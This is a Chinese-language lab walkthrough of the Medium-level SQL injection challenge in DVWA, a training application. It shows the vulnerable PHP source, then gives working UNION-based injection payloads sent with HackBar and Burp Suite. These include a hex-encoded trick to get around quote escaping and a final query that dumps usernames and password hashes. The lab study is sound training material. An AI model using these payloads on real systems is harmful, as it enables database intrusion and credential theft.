滲透測試之DVWA的Medium級別的SQL注入
Medium SQL Injection Source是通過一個下拉表的方式提交資料的。選擇資料後提交,發現URL不是GET注入,是把提交的資料存放到post資料中
先把原始碼放出來
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = mysql_real_escape_string( $id ); // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); // Get results $num = mysql_numrows( $result ); $i = 0; while( $i < $num ) { // Display values $first = mysql_result( $result, $i, "first_name" ); $last = mysql_result( $result, $i, "last_name" ); // Feedback for end user $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; // Increase loop count $i++; } //mysql_close(); } ?>
可以看到,Medium級別的程式碼利用mysql_real_escape_string函式對特殊符號\x00,\n,\r,\,’,”,\x1a進行轉義,同時前端頁面設定了下拉選擇表單,希望以此來控制使用者的輸入。
我們可以用hackbar或者用burpsuite抓包試一下。
一:Hack Bar
1、新增post資料如下 ,點選POST
2、我們可以在這裡添加註入語句:id=3 union select 1,database()#&Submit=Submit。獲得當前資料庫為dvwa,再用LOW級別手工注入同樣的方法獲取其他資料庫資訊。
二:BurpSuite
這裡我說一下代理工具Proxy SwitchyOmega,可以輕鬆快捷地管理和切換多個代理設定。BurpSuite抓包改引數,提交惡意構造的查詢引數。
1.判斷是否存在注入,注入是字元型還是數字型
抓包更改引數id為2' or 1=1 #,報錯。也可以右鍵Send to Repeater傳送到Repeater,在Repeater模擬瀏覽器訪問,成功了再改。
抓包更改引數id為2 or 1=1 #,查詢成功。
說明存在數字型注入。由於是數字型注入,伺服器端的mysql_real_escape_string函式就形同虛設了,因為數字型注入並不需要藉助引號。
2、猜解SQL查詢語句中的欄位數。抓包更改引數id為2 order by 2 #,查詢成功。抓包更改引數id為2 order by 3 #,報錯。
說明執行的SQL查詢語句中只有兩個欄位,即這裡的First name、Surname。
3、確定顯示的欄位順序。抓包更改引數id為2 union select 1,2 #,查詢成功。
4、獲取當前資料庫。抓包更改引數id為2 union select 1,database() #,查詢成功。
5、獲取資料庫中的表。抓包更改引數id為2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查詢成功。
一共有兩個表,guestbook與users。
6、獲取表中的欄位名。抓包更改引數id為2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#,查詢失敗。
這是因為單引號被轉義了,變成了\'。可以利用16進位制進行繞過,抓包更改引數id為1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #,查詢成功。
說明users表中有8個欄位,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。
7、下載資料。抓包修改引數id為1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查詢成功。